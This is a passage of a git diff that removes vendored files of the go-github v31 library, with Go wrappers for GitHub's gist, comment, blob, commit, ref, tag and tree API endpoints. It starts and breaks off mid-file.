https://developer.github.com/v3/gists/#list-gists-for-a-user -// GitHub API docs: https://developer.github.com/v3/gists/#list-gists-for-the-authenticated-user -func (s *GistsService) List(ctx context.Context, user string, opts *GistListOptions) ([]*Gist, *Response, error) { - var u string - if user != "" { - u = fmt.Sprintf("users/%v/gists", user) - } else { - u = "gists" - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var gists []*Gist - resp, err := s.client.Do(ctx, req, &gists) - if err != nil { - return nil, resp, err - } - - return gists, resp, nil -} - -// ListAll lists all public gists. -// -// GitHub API docs: https://developer.github.com/v3/gists/#list-public-gists -func (s *GistsService) ListAll(ctx context.Context, opts *GistListOptions) ([]*Gist, *Response, error) { - u, err := addOptions("gists/public", opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var gists []*Gist - resp, err := s.client.Do(ctx, req, &gists) - if err != nil { - return nil, resp, err - } - - return gists, resp, nil -} - -// ListStarred lists starred gists of authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/gists/#list-starred-gists -func (s *GistsService) ListStarred(ctx context.Context, opts *GistListOptions) ([]*Gist, *Response, error) { - u, err := addOptions("gists/starred", opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var gists []*Gist - resp, err := s.client.Do(ctx, req, &gists) - if err != nil { - return nil, resp, err - } - - return gists, resp, nil -} - -// Get a single gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#get-a-gist -func (s *GistsService) Get(ctx context.Context, id string) (*Gist, *Response, error) { - u := fmt.Sprintf("gists/%v", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - gist := new(Gist) - resp, err := s.client.Do(ctx, req, gist) - if err != nil { - return nil, resp, err - } - - return gist, resp, nil -} - -// GetRevision gets a specific revision of a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#get-a-specific-revision-of-a-gist -func (s *GistsService) GetRevision(ctx context.Context, id, sha string) (*Gist, *Response, error) { - u := fmt.Sprintf("gists/%v/%v", id, sha) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - gist := new(Gist) - resp, err := s.client.Do(ctx, req, gist) - if err != nil { - return nil, resp, err - } - - return gist, resp, nil -} - -// Create a gist for authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/gists/#create-a-gist -func (s *GistsService) Create(ctx context.Context, gist *Gist) (*Gist, *Response, error) { - u := "gists" - req, err := s.client.NewRequest("POST", u, gist) - if err != nil { - return nil, nil, err - } - - g := new(Gist) - resp, err := s.client.Do(ctx, req, g) - if err != nil { - return nil, resp, err - } - - return g, resp, nil -} - -// Edit a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#update-a-gist -func (s *GistsService) Edit(ctx context.Context, id string, gist *Gist) (*Gist, *Response, error) { - u := fmt.Sprintf("gists/%v", id) - req, err := s.client.NewRequest("PATCH", u, gist) - if err != nil { - return nil, nil, err - } - - g := new(Gist) - resp, err := s.client.Do(ctx, req, g) - if err != nil { - return nil, resp, err - } - - return g, resp, nil -} - -// ListCommits lists commits of a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#list-gist-commits -func (s *GistsService) ListCommits(ctx context.Context, id string, opts *ListOptions) ([]*GistCommit, *Response, error) { - u := fmt.Sprintf("gists/%v/commits", id) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var gistCommits []*GistCommit - resp, err := s.client.Do(ctx, req, &gistCommits) - if err != nil { - return nil, resp, err - } - - return gistCommits, resp, nil -} - -// Delete a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#delete-a-gist -func (s *GistsService) Delete(ctx context.Context, id string) (*Response, error) { - u := fmt.Sprintf("gists/%v", id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// Star a gist on behalf of authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/gists/#star-a-gist -func (s *GistsService) Star(ctx context.Context, id string) (*Response, error) { - u := fmt.Sprintf("gists/%v/star", id) - req, err := s.client.NewRequest("PUT", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// Unstar a gist on a behalf of authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/gists/#unstar-a-gist -func (s *GistsService) Unstar(ctx context.Context, id string) (*Response, error) { - u := fmt.Sprintf("gists/%v/star", id) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} - -// IsStarred checks if a gist is starred by authenticated user. -// -// GitHub API docs: https://developer.github.com/v3/gists/#check-if-a-gist-is-starred -func (s *GistsService) IsStarred(ctx context.Context, id string) (bool, *Response, error) { - u := fmt.Sprintf("gists/%v/star", id) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - resp, err := s.client.Do(ctx, req, nil) - starred, err := parseBoolResponse(err) - return starred, resp, err -} - -// Fork a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#fork-a-gist -func (s *GistsService) Fork(ctx context.Context, id string) (*Gist, *Response, error) { - u := fmt.Sprintf("gists/%v/forks", id) - req, err := s.client.NewRequest("POST", u, nil) - if err != nil { - return nil, nil, err - } - - g := new(Gist) - resp, err := s.client.Do(ctx, req, g) - if err != nil { - return nil, resp, err - } - - return g, resp, nil -} - -// ListForks lists forks of a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/#list-gist-forks -func (s *GistsService) ListForks(ctx context.Context, id string, opts *ListOptions) ([]*GistFork, *Response, error) { - u := fmt.Sprintf("gists/%v/forks", id) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var gistForks []*GistFork - resp, err := s.client.Do(ctx, req, &gistForks) - if err != nil { - return nil, resp, err - } - - return gistForks, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/gists_comments.go b/vendor/github.com/google/go-github/v31/github/gists_comments.go deleted file mode 100644 index 33913e22fd..0000000000 --- a/vendor/github.com/google/go-github/v31/github/gists_comments.go +++ /dev/null @@ -1,119 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// GistComment represents a Gist comment. -type GistComment struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Body *string `json:"body,omitempty"` - User *User `json:"user,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` -} - -func (g GistComment) String() string { - return Stringify(g) -} - -// ListComments lists all comments for a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/comments/#list-comments-on-a-gist -func (s *GistsService) ListComments(ctx context.Context, gistID string, opts *ListOptions) ([]*GistComment, *Response, error) { - u := fmt.Sprintf("gists/%v/comments", gistID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var comments []*GistComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// GetComment retrieves a single comment from a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/comments/#get-a-single-comment -func (s *GistsService) GetComment(ctx context.Context, gistID string, commentID int64) (*GistComment, *Response, error) { - u := fmt.Sprintf("gists/%v/comments/%v", gistID, commentID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - c := new(GistComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// CreateComment creates a comment for a gist. -// -// GitHub API docs: https://developer.github.com/v3/gists/comments/#create-a-comment -func (s *GistsService) CreateComment(ctx context.Context, gistID string, comment *GistComment) (*GistComment, *Response, error) { - u := fmt.Sprintf("gists/%v/comments", gistID) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - - c := new(GistComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// EditComment edits an existing gist comment. -// -// GitHub API docs: https://developer.github.com/v3/gists/comments/#edit-a-comment -func (s *GistsService) EditComment(ctx context.Context, gistID string, commentID int64, comment *GistComment) (*GistComment, *Response, error) { - u := fmt.Sprintf("gists/%v/comments/%v", gistID, commentID) - req, err := s.client.NewRequest("PATCH", u, comment) - if err != nil { - return nil, nil, err - } - - c := new(GistComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// DeleteComment deletes a gist comment. -// -// GitHub API docs: https://developer.github.com/v3/gists/comments/#delete-a-comment -func (s *GistsService) DeleteComment(ctx context.Context, gistID string, commentID int64) (*Response, error) { - u := fmt.Sprintf("gists/%v/comments/%v", gistID, commentID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/git.go b/vendor/github.com/google/go-github/v31/github/git.go deleted file mode 100644 index 1ce47437bd..0000000000 --- a/vendor/github.com/google/go-github/v31/github/git.go +++ /dev/null @@ -1,12 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -// GitService handles communication with the git data related -// methods of the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/git/ -type GitService service diff --git a/vendor/github.com/google/go-github/v31/github/git_blobs.go b/vendor/github.com/google/go-github/v31/github/git_blobs.go deleted file mode 100644 index 70aee14a7a..0000000000 --- a/vendor/github.com/google/go-github/v31/github/git_blobs.go +++ /dev/null @@ -1,69 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "bytes" - "context" - "fmt" -) - -// Blob represents a blob object. -type Blob struct { - Content *string `json:"content,omitempty"` - Encoding *string `json:"encoding,omitempty"` - SHA *string `json:"sha,omitempty"` - Size *int `json:"size,omitempty"` - URL *string `json:"url,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -// GetBlob fetches a blob from a repo given a SHA. -// -// GitHub API docs: https://developer.github.com/v3/git/blobs/#get-a-blob -func (s *GitService) GetBlob(ctx context.Context, owner string, repo string, sha string) (*Blob, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/blobs/%v", owner, repo, sha) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - blob := new(Blob) - resp, err := s.client.Do(ctx, req, blob) - return blob, resp, err -} - -// GetBlobRaw fetches a blob's contents from a repo. -// Unlike GetBlob, it returns the raw bytes rather than the base64-encoded data. -// -// GitHub API docs: https://developer.github.com/v3/git/blobs/#get-a-blob -func (s *GitService) GetBlobRaw(ctx context.Context, owner, repo, sha string) ([]byte, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/blobs/%v", owner, repo, sha) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - req.Header.Set("Accept", "application/vnd.github.v3.raw") - - var buf bytes.Buffer - resp, err := s.client.Do(ctx, req, &buf) - return buf.Bytes(), resp, err -} - -// CreateBlob creates a blob object. -// -// GitHub API docs: https://developer.github.com/v3/git/blobs/#create-a-blob -func (s *GitService) CreateBlob(ctx context.Context, owner string, repo string, blob *Blob) (*Blob, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/blobs", owner, repo) - req, err := s.client.NewRequest("POST", u, blob) - if err != nil { - return nil, nil, err - } - - t := new(Blob) - resp, err := s.client.Do(ctx, req, t) - return t, resp, err -} diff --git a/vendor/github.com/google/go-github/v31/github/git_commits.go b/vendor/github.com/google/go-github/v31/github/git_commits.go deleted file mode 100644 index e1dba1cf5d..0000000000 --- a/vendor/github.com/google/go-github/v31/github/git_commits.go +++ /dev/null @@ -1,200 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "bytes" - "context" - "errors" - "fmt" - "strings" - "time" - - "golang.org/x/crypto/openpgp" -) - -// SignatureVerification represents GPG signature verification. -type SignatureVerification struct { - Verified *bool `json:"verified,omitempty"` - Reason *string `json:"reason,omitempty"` - Signature *string `json:"signature,omitempty"` - Payload *string `json:"payload,omitempty"` -} - -// Commit represents a GitHub commit. -type Commit struct { - SHA *string `json:"sha,omitempty"` - Author *CommitAuthor `json:"author,omitempty"` - Committer *CommitAuthor `json:"committer,omitempty"` - Message *string `json:"message,omitempty"` - Tree *Tree `json:"tree,omitempty"` - Parents []*Commit `json:"parents,omitempty"` - Stats *CommitStats `json:"stats,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - URL *string `json:"url,omitempty"` - Verification *SignatureVerification `json:"verification,omitempty"` - NodeID *string `json:"node_id,omitempty"` - - // CommentCount is the number of GitHub comments on the commit. This - // is only populated for requests that fetch GitHub data like - // Pulls.ListCommits, Repositories.ListCommits, etc. - CommentCount *int `json:"comment_count,omitempty"` - - // SigningKey denotes a key to sign the commit with. If not nil this key will - // be used to sign the commit. The private key must be present and already - // decrypted. Ignored if Verification.Signature is defined. - SigningKey *openpgp.Entity `json:"-"` -} - -func (c Commit) String() string { - return Stringify(c) -} - -// CommitAuthor represents the author or committer of a commit. The commit -// author may not correspond to a GitHub User. -type CommitAuthor struct { - Date *time.Time `json:"date,omitempty"` - Name *string `json:"name,omitempty"` - Email *string `json:"email,omitempty"` - - // The following fields are only populated by Webhook events. - Login *string `json:"username,omitempty"` // Renamed for go-github consistency. -} - -func (c CommitAuthor) String() string { - return Stringify(c) -} - -// GetCommit fetches the Commit object for a given SHA. -// -// GitHub API docs: https://developer.github.com/v3/git/commits/#get-a-commit -func (s *GitService) GetCommit(ctx context.Context, owner string, repo string, sha string) (*Commit, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/commits/%v", owner, repo, sha) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - c := new(Commit) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// createCommit represents the body of a CreateCommit request. -type createCommit struct { - Author *CommitAuthor `json:"author,omitempty"` - Committer *CommitAuthor `json:"committer,omitempty"` - Message *string `json:"message,omitempty"` - Tree *string `json:"tree,omitempty"` - Parents []string `json:"parents,omitempty"` - Signature *string `json:"signature,omitempty"` -} - -// CreateCommit creates a new commit in a repository. -// commit must not be nil. -// -// The commit.Committer is optional and will be filled with the commit.Author -// data if omitted. If the commit.Author is omitted, it will be filled in with -// the authenticated user’s information and the current date. -// -// GitHub API docs: https://developer.github.com/v3/git/commits/#create-a-commit -func (s *GitService) CreateCommit(ctx context.Context, owner string, repo string, commit *Commit) (*Commit, *Response, error) { - if commit == nil { - return nil, nil, fmt.Errorf("commit must be provided") - } - - u := fmt.Sprintf("repos/%v/%v/git/commits", owner, repo) - - parents := make([]string, len(commit.Parents)) - for i, parent := range commit.Parents { - parents[i] = *parent.SHA - } - - body := &createCommit{ - Author: commit.Author, - Committer: commit.Committer, - Message: commit.Message, - Parents: parents, - } - if commit.Tree != nil { - body.Tree = commit.Tree.SHA - } - if commit.SigningKey != nil { - signature, err := createSignature(commit.SigningKey, body) - if err != nil { - return nil, nil, err - } - body.Signature = &signature - } - if commit.Verification != nil { - body.Signature = commit.Verification.Signature - } - - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - c := new(Commit) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -func createSignature(signingKey *openpgp.Entity, commit *createCommit) (string, error) { - if signingKey == nil || commit == nil { - return "", errors.New("createSignature: invalid parameters") - } - - message, err := createSignatureMessage(commit) - if err != nil { - return "", err - } - - writer := new(bytes.Buffer) - reader := bytes.NewReader([]byte(message)) - if err := openpgp.ArmoredDetachSign(writer, signingKey, reader, nil); err != nil { - return "", err - } - - return writer.String(), nil -} - -func createSignatureMessage(commit *createCommit) (string, error) { - if commit == nil || commit.Message == nil || *commit.Message == "" || commit.Author == nil { - return "", errors.New("createSignatureMessage: invalid parameters") - } - - var message []string - - if commit.Tree != nil { - message = append(message, fmt.Sprintf("tree %s", *commit.Tree)) - } - - for _, parent := range commit.Parents { - message = append(message, fmt.Sprintf("parent %s", parent)) - } - - message = append(message, fmt.Sprintf("author %s <%s> %d %s", commit.Author.GetName(), commit.Author.GetEmail(), commit.Author.GetDate().Unix(), commit.Author.GetDate().Format("-0700"))) - - committer := commit.Committer - if committer == nil { - committer = commit.Author - } - - // There needs to be a double newline after committer - message = append(message, fmt.Sprintf("committer %s <%s> %d %s\n", committer.GetName(), committer.GetEmail(), committer.GetDate().Unix(), committer.GetDate().Format("-0700"))) - message = append(message, *commit.Message) - - return strings.Join(message, "\n"), nil -} diff --git a/vendor/github.com/google/go-github/v31/github/git_refs.go b/vendor/github.com/google/go-github/v31/github/git_refs.go deleted file mode 100644 index a6269e5a9e..0000000000 --- a/vendor/github.com/google/go-github/v31/github/git_refs.go +++ /dev/null @@ -1,232 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "encoding/json" - "errors" - "fmt" - "net/url" - "strings" -) - -// Reference represents a GitHub reference. -type Reference struct { - Ref *string `json:"ref"` - URL *string `json:"url"` - Object *GitObject `json:"object"` - NodeID *string `json:"node_id,omitempty"` -} - -func (r Reference) String() string { - return Stringify(r) -} - -// GitObject represents a Git object. -type GitObject struct { - Type *string `json:"type"` - SHA *string `json:"sha"` - URL *string `json:"url"` -} - -func (o GitObject) String() string { - return Stringify(o) -} - -// createRefRequest represents the payload for creating a reference. -type createRefRequest struct { - Ref *string `json:"ref"` - SHA *string `json:"sha"` -} - -// updateRefRequest represents the payload for updating a reference. -type updateRefRequest struct { - SHA *string `json:"sha"` - Force *bool `json:"force"` -} - -// GetRef fetches a single Reference object for a given Git ref. -// If there is no exact match, GetRef will return an error. -// -// Note: The GitHub API can return multiple matches. -// If you wish to use this functionality please use the GetRefs() method. -// -// GitHub API docs: https://developer.github.com/v3/git/refs/#get-a-reference -func (s *GitService) GetRef(ctx context.Context, owner string, repo string, ref string) (*Reference, *Response, error) { - ref = strings.TrimPrefix(ref, "refs/") - u := fmt.Sprintf("repos/%v/%v/git/refs/%v", owner, repo, refURLEscape(ref)) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - r := new(Reference) - resp, err := s.client.Do(ctx, req, r) - if _, ok := err.(*json.UnmarshalTypeError); ok { - // Multiple refs, means there wasn't an exact match. - return nil, resp, errors.New("multiple matches found for this ref") - } else if _, ok := err.(*ErrorResponse); ok && resp.StatusCode == 404 { - // No ref, there was no match for the ref - return nil, resp, errors.New("no match found for this ref") - } else if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// refURLEscape escapes every path segment of the given ref. Those must -// not contain escaped "/" - as "%2F" - or github will not recognize it. -func refURLEscape(ref string) string { - parts := strings.Split(ref, "/") - for i, s := range parts { - parts[i] = url.PathEscape(s) - } - return strings.Join(parts, "/") -} - -// GetRefs fetches a slice of Reference objects for a given Git ref. -// If there is an exact match, only that ref is returned. -// If there is no exact match, GitHub returns all refs that start with ref. -// If returned error is nil, there will be at least 1 ref returned. -// For example: -// -// "heads/featureA" -> ["refs/heads/featureA"] // Exact match, single ref is returned. -// "heads/feature" -> ["refs/heads/featureA", "refs/heads/featureB"] // All refs that start with ref. -// "heads/notexist" -> [] // Returns an error. -// -// GitHub API docs: https://developer.github.com/v3/git/refs/#get-a-reference -func (s *GitService) GetRefs(ctx context.Context, owner string, repo string, ref string) ([]*Reference, *Response, error) { - ref = strings.TrimPrefix(ref, "refs/") - u := fmt.Sprintf("repos/%v/%v/git/refs/%v", owner, repo, refURLEscape(ref)) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var rawJSON json.RawMessage - resp, err := s.client.Do(ctx, req, &rawJSON) - if err != nil { - return nil, resp, err - } - - // Prioritize the most common case: a single returned ref. - r := new(Reference) - singleUnmarshalError := json.Unmarshal(rawJSON, r) - if singleUnmarshalError == nil { - return []*Reference{r}, resp, nil - } - - // Attempt to unmarshal multiple refs. - var rs []*Reference - multipleUnmarshalError := json.Unmarshal(rawJSON, &rs) - if multipleUnmarshalError == nil { - if len(rs) == 0 { - return nil, resp, fmt.Errorf("unexpected response from GitHub API: an array of refs with length 0") - } - return rs, resp, nil - } - - return nil, resp, fmt.Errorf("unmarshalling failed for both single and multiple refs: %s and %s", singleUnmarshalError, multipleUnmarshalError) -} - -// ReferenceListOptions specifies optional parameters to the -// GitService.ListRefs method. -type ReferenceListOptions struct { - Type string `url:"-"` - - ListOptions -} - -// ListRefs lists all refs in a repository. -// -// GitHub API docs: https://developer.github.com/v3/git/refs/#get-all-references -func (s *GitService) ListRefs(ctx context.Context, owner, repo string, opts *ReferenceListOptions) ([]*Reference, *Response, error) { - var u string - if opts != nil && opts.Type != "" { - u = fmt.Sprintf("repos/%v/%v/git/refs/%v", owner, repo, opts.Type) - } else { - u = fmt.Sprintf("repos/%v/%v/git/refs", owner, repo) - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var rs []*Reference - resp, err := s.client.Do(ctx, req, &rs) - if err != nil { - return nil, resp, err - } - - return rs, resp, nil -} - -// CreateRef creates a new ref in a repository. -// -// GitHub API docs: https://developer.github.com/v3/git/refs/#create-a-reference -func (s *GitService) CreateRef(ctx context.Context, owner string, repo string, ref *Reference) (*Reference, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/refs", owner, repo) - req, err := s.client.NewRequest("POST", u, &createRefRequest{ - // back-compat with previous behavior that didn't require 'refs/' prefix - Ref: String("refs/" + strings.TrimPrefix(*ref.Ref, "refs/")), - SHA: ref.Object.SHA, - }) - if err != nil { - return nil, nil, err - } - - r := new(Reference) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// UpdateRef updates an existing ref in a repository. -// -// GitHub API docs: https://developer.github.com/v3/git/refs/#update-a-reference -func (s *GitService) UpdateRef(ctx context.Context, owner string, repo string, ref *Reference, force bool) (*Reference, *Response, error) { - refPath := strings.TrimPrefix(*ref.Ref, "refs/") - u := fmt.Sprintf("repos/%v/%v/git/refs/%v", owner, repo, refPath) - req, err := s.client.NewRequest("PATCH", u, &updateRefRequest{ - SHA: ref.Object.SHA, - Force: &force, - }) - if err != nil { - return nil, nil, err - } - - r := new(Reference) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// DeleteRef deletes a ref from a repository. -// -// GitHub API docs: https://developer.github.com/v3/git/refs/#delete-a-reference -func (s *GitService) DeleteRef(ctx context.Context, owner string, repo string, ref string) (*Response, error) { - ref = strings.TrimPrefix(ref, "refs/") - u := fmt.Sprintf("repos/%v/%v/git/refs/%v", owner, repo, refURLEscape(ref)) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/git_tags.go b/vendor/github.com/google/go-github/v31/github/git_tags.go deleted file mode 100644 index abdbde6821..0000000000 --- a/vendor/github.com/google/go-github/v31/github/git_tags.go +++ /dev/null @@ -1,76 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// Tag represents a tag object. -type Tag struct { - Tag *string `json:"tag,omitempty"` - SHA *string `json:"sha,omitempty"` - URL *string `json:"url,omitempty"` - Message *string `json:"message,omitempty"` - Tagger *CommitAuthor `json:"tagger,omitempty"` - Object *GitObject `json:"object,omitempty"` - Verification *SignatureVerification `json:"verification,omitempty"` - NodeID *string `json:"node_id,omitempty"` -} - -// createTagRequest represents the body of a CreateTag request. This is mostly -// identical to Tag with the exception that the object SHA and Type are -// top-level fields, rather than being nested inside a JSON object. -type createTagRequest struct { - Tag *string `json:"tag,omitempty"` - Message *string `json:"message,omitempty"` - Object *string `json:"object,omitempty"` - Type *string `json:"type,omitempty"` - Tagger *CommitAuthor `json:"tagger,omitempty"` -} - -// GetTag fetches a tag from a repo given a SHA. -// -// GitHub API docs: https://developer.github.com/v3/git/tags/#get-a-tag -func (s *GitService) GetTag(ctx context.Context, owner string, repo string, sha string) (*Tag, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/tags/%v", owner, repo, sha) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - tag := new(Tag) - resp, err := s.client.Do(ctx, req, tag) - return tag, resp, err -} - -// CreateTag creates a tag object. -// -// GitHub API docs: https://developer.github.com/v3/git/tags/#create-a-tag-object -func (s *GitService) CreateTag(ctx context.Context, owner string, repo string, tag *Tag) (*Tag, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/tags", owner, repo) - - // convert Tag into a createTagRequest - tagRequest := &createTagRequest{ - Tag: tag.Tag, - Message: tag.Message, - Tagger: tag.Tagger, - } - if tag.Object != nil { - tagRequest.Object = tag.Object.SHA - tagRequest.Type = tag.Object.Type - } - - req, err := s.client.NewRequest("POST", u, tagRequest) - if err != nil { - return nil, nil, err - } - - t := new(Tag) - resp, err := s.client.Do(ctx, req, t) - return t, resp, err -} diff --git a/vendor/github.com/google/go-github/v31/github/git_trees.go b/vendor/github.com/google/go-github/v31/github/git_trees.go deleted file mode 100644 index 7430876ad9..0000000000 --- a/vendor/github.com/google/go-github/v31/github/git_trees.go +++ /dev/null @@ -1,162 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "encoding/json" - "fmt" -) - -// Tree represents a GitHub tree. -type Tree struct { - SHA *string `json:"sha,omitempty"` - Entries []*TreeEntry `json:"tree,omitempty"` - - // Truncated is true if the number of items in the tree - // exceeded GitHub's maximum limit and the Entries were truncated - // in the response. Only populated for requests that fetch - // trees like Git.GetTree. - Truncated *bool `json:"truncated,omitempty"` -} - -func (t Tree) String() string { - return Stringify(t) -} - -// TreeEntry represents the contents of a tree structure. TreeEntry can -// represent either a blob, a commit (in the case of a submodule), or another -// tree. -type TreeEntry struct { - SHA *string `json:"sha,omitempty"` - Path *string `json:"path,omitempty"` - Mode *string `json:"mode,omitempty"` - Type *string `json:"type,omitempty"` - Size *int `json:"size,omitempty"` - Content *string `json:"content,omitempty"` - URL *string `json:"url,omitempty"` -} - -func (t TreeEntry) String() string { - return Stringify(t) -} - -// treeEntryWithFileDelete is used internally to delete a file whose -// Content and SHA fields are empty. It does this by removing the "omitempty" -// tag modifier on the SHA field which causes the GitHub API to receive -// {"sha":null} and thereby delete the file. -type treeEntryWithFileDelete struct { - SHA *string `json:"sha"` - Path *string `json:"path,omitempty"` - Mode *string `json:"mode,omitempty"` - Type *string `json:"type,omitempty"` - Size *int `json:"size,omitempty"` - Content *string `json:"content,omitempty"` - URL *string `json:"url,omitempty"` -} - -func (t *TreeEntry) MarshalJSON() ([]byte, error) { - if t.SHA == nil && t.Content == nil { - return json.Marshal(struct { - SHA *string `json:"sha"` - Path *string `json:"path,omitempty"` - Mode *string `json:"mode,omitempty"` - Type *string `json:"type,omitempty"` - }{ - nil, - t.Path, - t.Mode, - t.Type, - }) - } - return json.Marshal(struct { - SHA *string `json:"sha,omitempty"` - Path *string `json:"path,omitempty"` - Mode *string `json:"mode,omitempty"` - Type *string `json:"type,omitempty"` - Size *int `json:"size,omitempty"` - Content *string `json:"content,omitempty"` - URL *string `json:"url,omitempty"` - }{ - SHA: t.SHA, - Path: t.Path, - Mode: t.Mode, - Type: t.Type, - Size: t.Size, - Content: t.Content, - URL: t.URL, - }) -} - -// GetTree fetches the Tree object for a given sha hash from a repository. -// -// GitHub API docs: https://developer.github.com/v3/git/trees/#get-a-tree -func (s *GitService) GetTree(ctx context.Context, owner string, repo string, sha string, recursive bool) (*Tree, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/trees/%v", owner, repo, sha) - if recursive { - u += "?recursive=1" - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - t := new(Tree) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// createTree represents the body of a CreateTree request. -type createTree struct { - BaseTree string `json:"base_tree,omitempty"` - Entries []interface{} `json:"tree"` -} - -// CreateTree creates a new tree in a repository. If both a tree and a nested -// path modifying that tree are specified, it will overwrite the contents of -// that tree with the new path contents and write a new tree out. -// -// GitHub API docs: https://developer.github.com/v3/git/trees/#create-a-tree -func (s *GitService) CreateTree(ctx context.Context, owner string, repo string, baseTree string, entries []*TreeEntry) (*Tree, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/git/trees", owner, repo) - - newEntries := make([]interface{}, 0, len(entries)) - for _, entry := range entries { - if entry.Content == nil && entry.SHA == nil { - newEntries = append(newEntries, 